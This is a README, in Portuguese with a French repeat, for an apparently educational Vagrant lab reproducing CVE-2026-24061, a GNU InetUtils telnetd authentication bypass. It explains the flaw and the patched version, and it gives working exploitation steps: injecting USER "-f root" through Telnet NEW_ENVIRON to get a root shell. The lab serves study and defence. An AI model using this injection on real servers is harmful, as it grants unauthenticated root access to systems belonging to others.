
Laboratório de reprodução para CVE-2026-24061, uma bypass de autenticação no telnetd do GNU InetUtils. Fornece um ambiente isolado baseado em Vagrant e instruções passo a passo de exploração para demonstrar o acesso ao shell root.
⚠️ Apenas para fins educacionais. Ambiente de laboratório isolado.
Bypass de autenticação crítico (CVSS 9.8) no GNU InetUtils telnetd ≤ 2.7.
Ao injetar -f root como variável USER através da opção Telnet NEW_ENVIRON,
um atacante não autenticado pode obter um shell root sem nenhuma senha.
A variável USER recebida do cliente durante a negociação Telnet é passada
diretamente para /usr/bin/login sem sanitização:
/usr/bin/login -p -f root
A flag -f instrui o login a pular a verificação de senha para o usuário informado.
Esse comportamento está documentado na RFC 1572 (Seção 7) como um risco conhecido — ainda assim,
o bug permaneceu no inetutils por mais de uma década.
GNU InetUtils telnetd 1.9.3 até 2.7
Atualize para GNU InetUtils ≥ 2.7-2
Este laboratório utiliza Vagrant para provisionar uma VM real isolada executando a versão vulnerável do telnetd (inetutils 2.5, compilado a partir do código-fonte), tornando-o o mais próximo possível de um ambiente real.
Pré-requisitos: Vagrant + VirtualBox instalados em sua máquina.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
A VM inicia com IP 192.168.56.10 e telnetd ouvindo na porta 23.

A partir da máquina hospedeira:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
A variável USER é injetada via a opção Telnet NEW_ENVIRON durante a fase de negociação — antes do prompt de login aparecer.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli